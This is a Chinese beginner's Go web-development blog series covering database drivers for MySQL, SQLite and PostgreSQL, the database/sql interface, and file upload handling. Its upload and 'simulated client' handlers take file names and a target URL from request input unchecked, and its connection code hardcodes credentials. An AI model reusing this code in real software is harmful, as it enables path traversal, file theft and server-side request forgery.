 blog_test.go:60: {3 title2 [] }
=== RUN TestQuery
--- PASS: TestQuery (0.00s)
 blog_test.go:71: [{3 title2 [] } {4 Test Create [] } {5 Test Create [] } {6 Test Create [] }]
 blog_test.go:75: 正确
 blog_test.go:81: 0
 blog_test.go:82: {3 title2 [] }
 blog_test.go:81: 1
 blog_test.go:82: {4 Test Create [] }
 blog_test.go:81: 2
 blog_test.go:82: {5 Test Create [] }
 blog_test.go:81: 3
 blog_test.go:82: {6 Test Create [] }
PASS
ok github.com/durban89/wiki/models 0.030s

今天就分享到这里，如果你有其他疑问请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.12

Go基础学习记录 - 编写Web应用程序 - 数据库(四)

Fri, 01 Aug 2025 10:31:38 +0000

本次分享下 – PostgreSQL数据库驱动程序

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.10

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.10

这些我觉得够清晰了。OK！

继续分享"数据库"的分享。

数据库

对于Web开发人员而言，数据库是Web开发的核心。
您几乎可以将任何内容保存到数据库中，并查询或更新其中的数据，如用户信息，产品或新闻文章。
Go不提供任何数据库驱动程序，但它确实在database/sql包中定义了驱动程序接口。
我们可以基于该接口开发数据库驱动程序。首先先看下 “PostgreSQL数据库驱动程序”

PostgreSQL

PostgreSQL是一个对象关系数据库管理系统，可用于许多平台，包括Linux，FreeBSD，Solaris，Microsoft Windows和Mac OS X.它是在MIT风格的许可下发布的，因此是免费的开源软件。
它比MySQL大，因为它是为企业用作Oracle的替代品而设计的。
Postgresql是企业类项目的不错选择。

PostgreSQL drivers

PostgreSQL有许多可用的数据库驱动程序。以下是它们的三个例子

https://github.com/lib/pq supports database/sql, written in pure Go.
https://github.com/jbarham/gopgsqldriver supports database/sql, written in pure Go.
https://github.com/lxn/go-pgsql supports database/sql, written in pure Go.

我将使用后面示例中的第一个。

Samples 实例演示

安装PostgreSQL驱动

如果本地没有安装的话，先去安装下这个包，安装命令如下

https://github.com/lib/pq

添加PostgreSQL驱动连接

项目目录下创建一个文件夹db，db中创建一个文件 pg.go，文件内容如下

package db

import (
 "database/sql"
 "fmt"

 // Register PostgreSQL
 _ "github.com/lib/pq"
)

const (
 // DBUser 用户名
 DBUser = "root"
 // DBPassword 密码
 DBPassword = "123456"
 // DBName 库名
 DBName = "test"
)

// PostgreSQLDB Conn
var PostgreSQLDB *sql.DB

func init() {
 dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable",
 DBUser, DBPassword, DBName)
 db, err := sql.Open("postgres", dbinfo)

 PostgreSQLDB = db
 checkPostgreSQLErr(err)
}

func checkPostgreSQLErr(err error) {
 if err != nil {
 panic(err)
 }
}

由于我是初学者，一些大胆的尝试，可能存在规范上或者架构上的问题，还请多多指教。
我这里之所以这样建立，本着代码分离的原则，不希望在每个使用数据库的地方都重复写一边代码，这里会不会存在重复创建连接，导致内存崩溃还有待继续深入学习。
好了，废话不多说了，这里创建了一个PostgreSQLDBB，首先说下init这个函数的作用

init函数是用于程序执行前做包的初始化的函数，比如初始化包里的变量等

也就是所每次使用PostgreSQLDB的时候都会去连接下数据库

这就说明了，每次使用PostgreSQLDB的时候，PostgreSQLDB都是一个连接了的，方便后面的调用。

创建model

由于以前都是写PHP的，大多数使用的也都是MVC，所以我这里在项目目录下建立了一个models文件夹，然后创建一个blog.go文件，里面的代码如下

package models

import (
 "database/sql"

 "github.com/durban89/wiki/db"
)

// Conn 连接
var Conn *sql.DB

func init() {
 // MySQL
 // Conn = db.DB
 // SQLite
 // Conn = db.SQLiteDB
 // PostgreSQL
 Conn = db.PostgreSQLDB
}

// Query 获取一条数据
func Query() ([]string, error) {
 rows, err := Conn.Query("SELECT * FROM blog")

 if err != nil {
 return nil, err
 }

 var res = []string{}

 for rows.Next() {
 var autokid int
 var title string
 err = rows.Scan(&autokid, &title)

 if err != nil {
 return nil, err
 }
 res = append(res, title)
 }

 return res, nil
}

数据库创建

创建数据库blog

CREATE TABLE blog (
 autokid SERIAL PRIMARY KEY,
 title VARCHAR(100)
);

添加测试数据

INSERT INTO blog(title) VALUES('title1');
INSERT INTO blog(title) VALUES('title2');
INSERT INTO blog(title) VALUES('title3');

单元测试

下面创建测试单元，测试下我们的Query函数是否能获取到数据，创建blog_test.go文件(如果不存在)，跟blog.go文件放在一起，代码内容如下

package models

import (
 "testing"
)

// TestQuery 测试获取数据
func TestQuery(t *testing.T) {
 row, err := Query()

 if err != nil {
 t.Error(err)
 } else {
 t.Log(row)
 }

 if len(row) > 0 {
 t.Log("正确")

 }

 for i, k := range row {
 t.Log(i)
 t.Log(k)
 }
}

当我们在models目录下进行测试的时候，会得到如下输出，说明我们的功能是正常的

$ go test
PASS
ok github.com/durban89/wiki/models 0.023s

请注意，PostgreSQL使用$1，$2格式而不是MySQL使用的?，它在sql.Open中有不同的DSN格式。另一件事是PostgreSQL驱动程序不支持sql.Result.LastInsertId()。所以不是这样，

// Create 添加一条记录
func Create(title string) {
 var lastInsertID int
 err := PostgreSQLDB.QueryRow("INSERT INTO blog(title) VALUES($1) returning autokid;", title).Scan(&lastInsertID)
 checkPostgreSQLErr(err)
 fmt.Println("last inserted id =", lastInsertID)
}

使用db.QueryRow()和.Scan()来获取最后插入的id的值。

今天就分享到这里，如果你有其他疑问请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.11

Go基础学习记录 - 编写Web应用程序 - 数据库(三)

Fri, 01 Aug 2025 10:31:35 +0000

本次分享下 – SQLite数据库驱动程序

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.9

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.9

这些我觉得够清晰了。OK！

继续分享"数据库"的分享。

数据库

对于Web开发人员而言，数据库是Web开发的核心。
您几乎可以将任何内容保存到数据库中，并查询或更新其中的数据，如用户信息，产品或新闻文章。
Go不提供任何数据库驱动程序，但它确实在database/sql包中定义了驱动程序接口。
我们可以基于该接口开发数据库驱动程序。今天看下 “SQLite数据库驱动程序”

SQLite数据库驱动程序

SQLite是一个开源的嵌入式关系数据库。它具有自包含，零配置和事务支持的数据库引擎。其特点是便携性高，使用方便，紧凑，高效，可靠。在大多数情况下，您只需要SQLite的二进制文件来创建，连接和操作数据库。如果您正在寻找嵌入式数据库解决方案，SQLite值得考虑。你可以说SQLite是Access的开源版本。

SQLite drivers

SQL中有许多用于Go的数据库驱动程序，但其中许多不支持database/sql接口标准。

https://github.com/mattn/go-sqlite3 基于cgo的，支持database/sql
https://github.com/feyeleanor/gosqlite3 基于cgo的，不支持database/sql
https://github.com/phf/go-sqlite3 基于cgo的，不支持database/sql

第一个驱动程序是唯一一个在其SQLite驱动程序中支持database/sql接口标准的驱动程序，因此我在本次分享中使用它 - 具体的一些详细的逻辑可以拉取实例代码查看。

Samples 实例演示

安装MySQL驱动

如果本地没有安装的话，先去安装下这个包，安装命令如下

go get github.com/mattn/go-sqlite3

添加SQLites3驱动连接

项目目录下创建一个文件夹db，db中创建一个文件 sqlite.go，文件内容如下

package db

import (
 "database/sql"

 // Register SQLite
 _ "github.com/mattn/go-sqlite3"
)

// SQLiteDB Conn
var SQLiteDB *sql.DB

func init() {
 db, err := sql.Open("sqlite3", "../data/data.db")
 SQLiteDB = db
 checkSQLiteErr(err)
}

// CreateTable 创建数据库表
func CreateTable(sql string) {
 _, error := SQLiteDB.Exec(sql)

 checkSQLiteErr(error)
}

func checkSQLiteErr(err error) {
 if err != nil {
 panic(err)
 }
}

由于我是初学者，一些大胆的尝试，可能存在规范上或者架构上的问题，还请多多指教。
我这里之所以这样建立，本着代码分离的原则，不希望在每个使用数据库的地方都重复写一边代码，这里会不会存在重复创建连接，导致内存崩溃还有待继续深入学习。
好了，废话不多说了，这里创建了一个SQLiteDBB，首先说下init这个函数的作用

init函数是用于程序执行前做包的初始化的函数，比如初始化包里的变量等

也就是所每次使用SQLiteDB的时候都会去连接下数据库

这就说明了，每次使用SQLiteDB的时候，SQLiteDB都是一个连接了的，方便后面的调用。

创建model

由于以前都是写PHP的，大多数使用的也都是MVC，所以我这里在项目目录下建立了一个models文件夹，然后创建一个blog.go文件，里面的代码如下

package models

import (
 "database/sql"

 "github.com/durban89/wiki/db"
 // Register MySQL
 _ "github.com/go-sql-driver/mysql"
)

// Conn 连接
var Conn *sql.DB

func init() {
 // Conn = db.DB
 Conn = db.SQLiteDB
}

// Query 获取一条数据
func Query() ([]string, error) {
 rows, err := Conn.Query("SELECT * FROM blog")

 if err != nil {
 return nil, err
 }

 var res = []string{}

 for rows.Next() {
 var autokid int
 var title string
 err = rows.Scan(&autokid, &title)

 if err != nil {
 return nil, err
 }
 res = append(res, title)
 }

 return res, nil
}

数据库创建

创建数据库blog

CREATE TABLE `blog` (
 `autokid` INTEGER PRIMARY KEY AUTOINCREMENT,
 `title` VARCHAR(100) NULL
)

添加测试数据

insert into blog (title) values ('title1');
insert into blog (title) values ('title2');

单元测试

下面创建测试单元，测试下我们的Query函数是否能获取到数据，创建blog_test.go文件(如果不存在)，跟blog.go文件放在一起，代码内容如下

package models

import (
 "testing"
)

// TestQuery 测试获取数据
func TestQuery(t *testing.T) {
 row, err := Query()

 if err != nil {
 t.Error(err)
 } else {
 t.Log(row)
 }

 if len(row) > 0 {
 t.Log("正确")

 }

 for i, k := range row {
 t.Log(i)
 t.Log(k)
 }
}

当我们在models目录下进行测试的时候，会得到如下输出，说明我们的功能是正常的

$ go test
PASS
ok github.com/durban89/wiki/models 0.023s

基本的使用功能就介绍到这里，肯定会有一些更加复杂的，比如增删改查等等，只要我们知道了如何连接数据库，其实增删改查之类的操作，就可以进行简单的封装了。我这边会将这些小功能放到github上供大家参考

您可能已经注意到代码与上一篇文章【Go基础学习记录 - 编写Web应用程序 - 数据库(二)】中的代码几乎相同，并且我们只更改了已注册驱动程序的名称并调用了sql.Open以不同的方式连接到SQLite。

上面的示例显示了如何从数据库中获取数据，但是当您想要编写Web应用程序时，不仅需要从数据库中获取数据，而且还需要将数据写入其中。
为此，您应该使用事务，因为由于各种原因，例如具有访问数据库的多个go例程，数据库可能会被锁定。
这在Web应用程序中是不可取的，并且使用事务可以有效地确保数据库活动完全通过或完全失败，具体取决于具体情况。
很明显，使用事务可以防止Web应用程序出现很多问题，实例代理如下

// Update 更新
func Update(autokid int) {
 trashSQL, err := SQLiteDB.Prepare("update blog set is_deleted='Y',last_modified_at=datetime() where id=?")
 if err != nil {
 checkSQLiteErr(err)
 }
 tx, err := SQLiteDB.Begin()
 if err != nil {
 checkSQLiteErr(err)
 }
 _, err = tx.Stmt(trashSQL).Exec(autokid)
 if err != nil {
 fmt.Println("doing rollback")
 tx.Rollback()
 } else {
 tx.Commit()
 }
}

从上面的代码块中可以清楚地看到，首先准备一个语句，然后根据该执行的输出执行它，然后将其回滚或提交。

今天就分享到这里，如果你有其他疑问请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.10

Go基础学习记录 - 编写Web应用程序 - 数据库(二)

Fri, 01 Aug 2025 10:31:32 +0000

本次分享下 – MySQL数据库驱动程序

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.8

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.8

这些我觉得够清晰了。OK！

继续"MySQL数据库驱动程序"的分享。

数据库

对于Web开发人员而言，数据库是Web开发的核心。
您几乎可以将任何内容保存到数据库中，并查询或更新其中的数据，如用户信息，产品或新闻文章。
Go不提供任何数据库驱动程序，但它确实在database/sql包中定义了驱动程序接口。
我们可以基于该接口开发数据库驱动程序。首先先看下 “MySQL的数据库驱动程序”

MySQL数据库驱动程序

LAMP堆栈近年来在互联网上非常流行，而LAMP中的M代表MySQL。
MySQL很有名，因为它是开源的，易于使用。
因此，它已成为许多网站后端的事实上的数据库。

MySQL drivers

在Go中有几个支持MySQL的驱动程序。
其中一些实现了database/sql接口，而另一些则使用自己的接口标准。

https://github.com/go-sql-driver/mysql 支持用纯Go编写的database/sql.
https://github.com/ziutek/mymysql 支持用纯Go编写的database/sql和用户定义的接口。

我将在以下示例中使用第一个驱动程序（我也在我的个人项目中使用此驱动程序），并且我还建议您使用它，原因如下：

它是一个新的数据库驱动程序，支持更多功能。
它完全支持database/sql接口标准。
支持keep-alive，长线程与线程安全。

Samples 实例演示

安装MySQL驱动

如果本地没有安装的话，先去安装下这个包，安装命令如下

go get github.com/go-sql-driver/mysql

添加MySQL驱动连接项目目录下创建一个文件夹db，db中创建一个文件mysql.go，文件内容如下

package db

import (
 "database/sql"

 // Register MySQL
 _ "github.com/go-sql-driver/mysql"
)

// DB Conn
var DB *sql.DB

func init() {
 db, err := sql.Open("mysql", "root:123456@/wiki?charset=utf8")
 DB = db
 checkErr(err)
}

func checkErr(err error) {
 if err != nil {
 panic(err)
 }
}

由于我是初学者，一些大胆的尝试，可能存在规范上或者架构上的问题，还请多多指教。
我这里之所以这样建立，本着代码分离的原则，不希望在每个使用数据库的地方都重复写一边代码，这里会不会存在重复创建连接，导致内存崩溃还有待继续深入学习。
好了，废话不多说了，这里创建了一个DB，首先说下init这个函数的作用

init函数是用于程序执行前做包的初始化的函数，比如初始化包里的变量等

也就是所每次使用DB的时候都会去连接下数据库

这就说明了，每次使用DB的时候，DB都是一个连接了的，方便后面的调用。

创建model由于以前都是写PHP的，大多数使用的也都是MVC，所以我这里在项目目录下建立了一个models文件夹，然后创建一个blog.go文件，里面的代码如下

package models

import (
 "github.com/durban89/wiki/db"
 // Register MySQL
 _ "github.com/go-sql-driver/mysql"
)

// Query 获取数据
func Query() ([]string, error) {
 rows, err := db.DB.Query("SELECT * FROM blog")

 if err != nil {
 return nil, err
 }

 var res = []string{}

 for rows.Next() {
 var autokid int
 var title string
 err = rows.Scan(&autokid, &title)

 if err != nil {
 return nil, err
 }
 res = append(res, title)
 }

 return res, nil
}

数据库创建

创建数据库blog

CREATE TABLE `blog` (
 `autokid` int(11) unsigned NOT NULL AUTO_INCREMENT,
 `title` varchar(255) NOT NULL DEFAULT '',
 PRIMARY KEY (`autokid`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;

添加测试数据

INSERT INTO `blog` (`autokid`, `title`)
VALUES
 (1, 'title1'),
 (2, 'title2');

单元测试下面创建测试单元，测试下我们的Query函数是否能获取到数据，创建blog_test.go文件，跟blog.go文件放在一起，代码内容如下

package models

import (
 "testing"
)

// TestQuery 测试获取数据
func TestQuery(t *testing.T) {
 row, err := Query()

 if err != nil {
 t.Error(err)
 } else {
 t.Log(row)
 }

 if len(row) > 0 {
 t.Log("正确")

 }

 for i, k := range row {
 t.Log(i)
 t.Log(k)
 }
}

当我们在models目录下进行测试的时候，会得到如下输出，说明我们的功能是正常的

$ go test
PASS
ok github.com/durban89/wiki/models 0.023s

今天就分享到这里，如果你有其他疑问请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.9

Go基础学习记录 - 编写Web应用程序 - 数据库(一)

Fri, 01 Aug 2025 10:31:29 +0000

本次分享下 - 数据库 - Go中的数据库驱动程序接口设计

数据库

对于Web开发人员而言，数据库是Web开发的核心。
您几乎可以将任何内容保存到数据库中，并查询或更新其中的数据，如用户信息，产品或新闻文章。
Go不提供任何数据库驱动程序，但它确实在database/sql包中定义了驱动程序接口。
我们可以基于该接口开发数据库驱动程序。首先先看下 “Go中的数据库驱动程序接口设计”

Go中的数据库驱动程序接口设计

Go不提供任何官方数据库驱动程序，不像PHP这样的其他语言。
但是，它确实有一些数据库驱动程序接口标准，供开发人员使用。
优点是，如果您的代码是根据这些接口标准开发的，那么如果您的数据库发生更改，则无需更改任何代码。
让我们看看这些数据库接口标准是什么。

sql.Register

当您使用第三方数据库驱动程序时，此函数位于database/sql包中，用于注册数据库驱动程序。
所有这些都应该在init()中调用Register(name string，driver driver.Driver)函数以便自己注册。
我们来看看相应的mymysql和sqlite3驱动代码：

// https://github.com/mattn/go-sqlite3 driver
func init() {
 sql.Register("sqlite3", &SQLiteDriver{})
}

// https://github.com/mikespook/mymysql driver
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
 Register("SET NAMES utf8")
 sql.Register("mymysql", &d)
}

我们看到所有第三方数据库驱动程序都实现了这个函数来自我注册，Go使用map来保存database/sql中的用户驱动程序。

var drivers = make(map[string]driver.Driver)
drivers[name] = driver

因此，此注册功能可以根据需要注册多个驱动程序，每个驱动程序具有不同的名称。
当我们使用第三方驱动程序时，我们总是会看到以下代码：

import (
 "database/sql"
 _ "github.com/mattn/go-sqlite3"
)

对于许多初学者来说，下划线（也称为’空白’）\_可能会让人感到困惑，但这是Go中的一个很棒的功能。
我们已经知道这个下划线标识符用于从函数返回中丢弃值，并且还必须使用在Go中的代码中导入的所有包。
因此，当空白与导入一起使用时，这意味着您需要执行该包的init()函数而不直接使用它，这非常适合注册数据库驱动程序的用例。

driver.Driver

Driver是一个包含Open（名称字符串）方法的接口，该方法返回Conn接口。

type Driver interface {
 Open(name string) (Conn, error)
}

这是一次性Conn，这意味着每个goroutine只能使用一次。
以下代码将导致错误发生：

go goroutineA (Conn) // query
go goroutineB (Conn) // insert

因为Go不知道哪个goroutine执行哪个操作，查询操作可能会得到插入操作的结果，反之亦然。
所有第三方驱动程序都应该使用此函数来解析Conn的名称并返回正确的结果。

driver.Conn

这是一个带有一些方法的数据库连接接口，正如我上面所说的，每个goroutine只能使用一次相同的Conn。

type Conn interface {
 Prepare(query string) (Stmt, error)
 Close() error
 Begin() (Tx, error)
}

Prepare 返回相应SQL命令的准备状态，用于查询和删除等。
Close 关闭当前连接并清理资源。大多数第三方驱动程序实现某种连接池，因此您不需要缓存可能导致意外错误的连接。
Begin 返回表示事务句柄的Tx。您可以使用它来查询，更新，回滚事务等。

driver.Stmt

这是一个与Conn对应的就绪状态，因此每个goroutine只能使用一次（与Conn一样）。

type Stmt interface {
 Close() error
 NumInput() int
 Exec(args []Value) (Result, error)
 Query(args []Value) (Rows, error)
}

Close 关闭当前连接但如果正在执行查询操作，仍会返回行数据。NumInput返回专性参数的数量。数据库驱动程序应在结果大于0时检查其调用者的参数，并在数据库驱动程序不知道任何可能的参数时返回-1。
Exec 执行在Prepare中准备的update/insert SQL命令，返回Result。
Query 执行Prepare中准备的select SQL命令，返回行数据。

driver.Tx

通常，事务句柄只有提交或回滚方法，而数据库驱动程序只需要实现这两种方法。

type Tx interface {
 Commit() error
 Rollback() error
}

driver.Execer

这是一个可选的接口。

type Execer interface {
 Exec(query string, args []Value) (Result, error)
}

如果驱动程序没有实现此接口，则在调用DB.Exec时，它将自动调用Prepare，然后返回Stmt。之后，它执行Stmt的Exec方法，然后关闭Stmt。

driver.Result

这是update/insert操作结果的接口。

type Result interface {
 LastInsertId() (int64, error)
 RowsAffected() (int64, error)
}

LastInsertId 在数据库插入操作后返回自动增量Id编号。
RowsAffected 返回受查询操作影响的行。

driver.Rows

这是查询操作结果的接口。

type Rows interface {
 Columns() []string
 Close() error
 Next(dest []Value) error
}

Columns 返回数据库表的字段信息。切片仅与SQL查询字段一一对应，并且不返回该数据库表的所有字段。
Close 关闭行迭代器。
Next 返回下一个数据并分配给dest，将所有字符串转换为字节数组，如果没有更多可用数据，则会收到io.EOF错误。

driver.RowsAffected

这是int64的别名，但它实现了Result接口。

type RowsAffected int64

func (RowsAffected) LastInsertId() (int64, error)

func (v RowsAffected) RowsAffected() (int64, error)

driver.Value

这是一个空接口，可以包含任何类型的数据。

type Value interface{}

值必须是驱动程序可以运行的值或者为零，因此它应该是以下类型之一：

int64
float64
bool
[]byte
string [*] Except Rows.Next which cannot return string
time.Time

driver.ValueConverter

这定义了一个用于将正常值转换为driver.Value的接口。

type ValueConverter interface {
 ConvertValue(v interface{}) (Value, error)
}

此接口通常用于数据库驱动程序，并具有许多有用的功能：

将driver.Value转换为相应的数据库字段类型，例如将int64转换为uint16。
将数据库查询结果转换为driver.Value。
将driver.Value转换为scan函数中的用户定义值。

driver.Valuer

这定义了一个返回driver.Value的接口。

type Valuer interface {
 Value() (Value, error)
}

许多类型实现此接口以在driver.Value和其自身之间进行转换。

此时，您应该了解一下在Go中开发数据库驱动程序。
一旦您可以为添加，删除，更新等操作实现接口，与特定数据库通信只会留下一些问题。

database/sql

在database/sql/driver之上定义更多高级方法，以便更方便地进行数据库操作，并建议您实现连接池。

type DB struct {
 driver driver.Driver
 dsn string
 mu sync.Mutex // protects freeConn and closed
 freeConn []driver.Conn
 closed bool
}

如您所见，Open函数返回一个具有freeConn的DB，这是一个简单的连接池。
它的实现非常简单和丑陋。
它在Db.prepare函数中使用延迟db.putConn(ci，err)将连接放入连接池。
每次调用Conn函数时，它都会检查freeConn的长度。
如果它大于0，则表示存在可重用的连接，并且它直接返回给您。
否则，它会创建一个新连接并返回。

今天就分享到这里，如果你有其他疑问请在下方留言或者加群交流

Go基础学习记录 - 编写Web应用程序 - 文件上传

Fri, 01 Aug 2025 10:31:25 +0000

本次分享下 – 文件上传

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.7

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.7

这些我觉得够清晰了。OK！

继续分享"文件上传“的分享。

文件上传

假设你有一个像Instagram这样的网站，你希望用户上传他们漂亮的照片。
你会如何实现这个功能？
您必须将属性enctype添加到要用于上传照片的表单。
此属性有三个可能的值：

application/x-www-form-urlencoded 上传前对所有字符进行转码（默认）
multipart/form-data 没有转码。当表单具有文件上传控件时，您必须使用此值
text/plain 将空格转换为“+”，但不对特殊字符进行转码

因此，文件上传表单的HTML内容应如下所示：

<!doctype html>
<html lang="en">

<head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
 <title>Upload File</title>
 <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm"
 crossorigin="anonymous">
</head>

<body>
 <div class="container">
 <div class="col-md-12">
 <div class="text-center">
 <h1>Upload File</h1>
 </div>
 <form enctype="multipart/form-data" action="/upload/" method="POST">
 <div class="form-group">
 <input type="file" name="uploadfile" />
 </div>

 <input type="hidden" name="token" value="{{.Token}}">

 <button type="submit" class="btn btn-primary">Submit</button>
 </form>
 </div>
 </div>
 <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
 crossorigin="anonymous"></script>
 <script src="https://cdn.bootcss.com/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
 crossorigin="anonymous"></script>
 <script src="https://cdn.bootcss.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
 crossorigin="anonymous"></script>
</body>

</html>

添加路由处理函数UploadHandler

// UploadHandler 上传文件
func UploadHandler(w http.ResponseWriter, r *http.Request) {
	fmt.Println("method:", r.Method)

	if r.Method == "GET" {
		p := &helpers.Page{Title: "Upload File"}

		crutime := time.Now().Unix()
		h := md5.New()
		io.WriteString(h, strconv.FormatInt(crutime, 10))
		token := fmt.Sprintf("%x", h.Sum(nil))
		p.Token = token
		helpers.RenderTemplate(w, "upload", p)
	} else {
		fmt.Println("Uploading ....")
		r.ParseMultipartForm(32 << 20)
		file, handler, err := r.FormFile("uploadfile")
		if err != nil {
			fmt.Println(err)
			return
		}

		defer file.Close()

		fmt.Fprintf(w, "%v", handler.Header)

		fmt.Println("handler.Filename", handler.Filename)
		time := fmt.Sprintf("%d", time.Now().Unix())
		targetFileName := "data/" + time + handler.Filename

		f, err := os.OpenFile(targetFileName, os.O_WRONLY|os.O_CREATE, 0666)
		if err != nil {
			fmt.Println(err)
		}

		defer f.Close()

		// 写入到文件中
		io.Copy(f, file)
	}

}

并且将我们的路由函数添加到主路由中

http.HandleFunc("/upload/", controllers.UploadHandler)

重新编译项目并运行打开/upload/页面，选择文件并提交后会在浏览器中看到类似如下的输出

map[Content-Disposition:[form-data; name="uploadfile"; filename="Y_1.jpg"] Content-Type:[image/jpeg]]

这里我其实是没有做对文件的类型进行限制的，实际的操作中需要根据情况做具体处理。

上面的代码中，我们需要调用r.ParseMultipartForm来上传文件。
函数ParseMultipartForm采用maxMemory参数。
调用ParseMultipartForm后，该文件将以maxMemory大小保存在服务器内存中。
如果文件大小大于maxMemory，则其余数据将保存在系统临时文件中。
您可以使用r.FormFile获取文件句柄并使用io.Copy保存到文件系统。
当您访问表单中的其他非文件字段时，您不需要调用r.ParseForm，因为Go会在必要时调用它。
此外，调用ParseMultipartForm一次就足够了 - 多次调用没有区别。

我们使用三个步骤上传文件，如下所示：

将enctype =“multipart/form-data"添加到表单中。
在服务器端调用r.ParseMultipartForm将文件保存到内存或临时文件。
调用r.FormFile获取文件句柄并保存到文件系统。

文件处理程序是multipart.FileHeader。
它使用以下结构：

type FileHeader struct {
 Filename string
 Header textproto.MIMEHeader
 // contains filtered or unexported fields
}

上面展示了使用表单上传文件的示例。还可以模拟客户端表单来上传文件，示例如下
首先添加一个PostFileHandler方法，这个方法是用来模拟表单上传文件的，代码如下

// PostFileHandler 模拟客户端表单提交
func PostFileHandler(w http.ResponseWriter, r *http.Request) {

 filename := r.URL.Query().Get("filename")
 targetURL := r.URL.Query().Get("targetURL")
 // filename string, targetURL string

 fmt.Println("filename = ", filename)
 fmt.Println("targetUrl = ", targetURL)

 // 获取本地源文件
 sourceFileName := "data/" + filename

 buf := &bytes.Buffer{}
 writer := multipart.NewWriter(buf)

 // 这一步非常重要 创建Form表单 文件名是 filename
 fileWriter, err := writer.CreateFormFile("uploadfile", filename)
 if err != nil {
 fmt.Println("error writing to writer")
 return
 }

 // 打开文件， 这里使用只读模式 os.O_RDONLY
 f, err := os.OpenFile(sourceFileName, os.O_RDONLY, 0666)
 if err != nil {
 fmt.Println("error open file")
 return
 }
 defer f.Close()

 // 将文件copy到模拟的表单里面
 _, err = io.Copy(fileWriter, f)
 if err != nil {
 fmt.Println("error copy file")
 fmt.Println(err)
 return
 }

 contentType := writer.FormDataContentType()
 writer.Close()

 // 表单上传文件的提交
 resp, err := http.Post(targetURL, contentType, buf)
 if err != nil {
 fmt.Println("error post file")
 return
 }

 defer resp.Body.Close()

 respBody, err := ioutil.ReadAll(resp.Body)

 if err != nil {
 fmt.Println("error read file")
 return
 }

 // 上传后返回的状态码
 fmt.Println(resp.Status)
 // 上传后返回的body信息
 fmt.Println(string(respBody)) return
}

同时修改下UploadHandler函数，稍微做下处理，加入如下代码

fmt.Println("handler.Filename", handler.Filename)
time := fmt.Sprintf("%d", time.Now().Unix())
targetFileName := "data/" + time + handler.Filename

f, err := os.OpenFile(targetFileName, os.O_WRONLY|os.O_CREATE, 0666)

然后将PostFileHandler加入路由方便测试，如下

http.HandleFunc("/postFile/", controllers.PostFileHandler)

这个逻辑主要是为了在示例测试中区分下文件，防止文件名重复上传失败，在实际的情况下，是不允许上传重复的内容的，会对服务器空间造成浪费

重新编译程序并运行，访问路由http://localhost:8090/postFile/?filename=Y_1.jpg&targetURL=http://localhost:8090/upload/，会看到如下的输出，我这里是

filename = Y_1.jpg
targetUrl = http://localhost:8090/upload/
method: POST
Uploading ....
handler.Filename Y_1.jpg
200 OK
map[Content-Type:[application/octet-stream] Content-Disposition:[form-data; name="uploadfile"; filename="Y_1.jpg"]]

上面的示例显示了如何使用客户端上传文件。
它使用multipart.Write将文件写入缓存并通过POST方法将它们发送到服务器。
如果您有其他需要写入数据的字段，例如用户名，请根据需要调用multipart.WriteField。

今天就分享到这里，如果你有其他疑问请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.8

Go基础学习记录 - 编写Web应用程序 - 重复提交

Fri, 01 Aug 2025 09:22:25 +0000

本次分享下 – 表单的重复提交

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.6

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.6

这些我觉得够清晰了。OK！

继续分享"重复提交"的分享。

重复提交

我不知道你有没有看到一些博客或BBS有多个帖子完全相同，但我可以告诉你，这是因为用户提交了重复的帖子导致的。
有许多事情可能会导致重复提交;
有时用户只需双击提交按钮，或者他们想在发布后修改一些内容，然后按后退按钮。
在某些情况下，这是恶意用户的故意行为。
很容易看出重复提交会如何导致许多问题。
因此，我们必须使用有效的手段来预防它。
解决方案是向表单添加一个带有唯一标记的隐藏字段，并在处理传入数据之前始终检查此标记。
此外，如果您使用Ajax提交表单，请在提交表单后使用JavaScript禁用提交按钮。
具体实例演示如下

第一步首先修改下我们的edit.html

添加如下代码

